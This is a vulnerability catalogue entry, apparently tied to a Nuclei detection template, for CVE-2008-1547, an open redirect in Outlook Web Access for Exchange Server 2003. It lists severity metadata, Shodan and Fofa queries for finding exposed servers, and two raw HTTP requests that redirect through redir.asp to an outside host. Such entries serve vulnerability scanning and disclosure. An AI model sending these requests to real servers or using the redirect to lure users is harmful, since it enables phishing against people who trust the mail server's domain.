| Title | Microsoft OWA Exchange Server 2003 - 'redir.asp' Open Redirection |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to trick users into visiting malicious websites, leading to potential phishing attacks. |
| Remediation | Apply the necessary security patches or upgrade to a newer version of Microsoft Exchange Server. |
| CVSS Score | 4.3 |
| EPSS Score | 0.6311 |
| CVE ID | CVE-2008-1547 |
| CWE ID | CWE-601 |
| Shodan Query | http.title:"Outlook"http.favicon.hash:1768726119http.title:"outlook"cpe:"cpe:2.3:a:microsoft:exchange_server" |
| Fofa Query | title="outlook"icon_hash=1768726119 |
| Tags | cve2008 cve redirect owa exchange microsoft vuln |
Open redirect vulnerability in exchweb/bin/redir.asp in Microsoft Outlook Web Access (OWA) for Exchange Server 2003 SP2 (aka build 6.5.7638) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the URL parameter.
GET /exchweb/bin/redir.asp?URL=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttps%3A%2F%2Finteract.sh&reason=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-1547.yaml
🦈 Packet Capture: ⬇️ Download cve-2008-1547.pcap
N/AN/A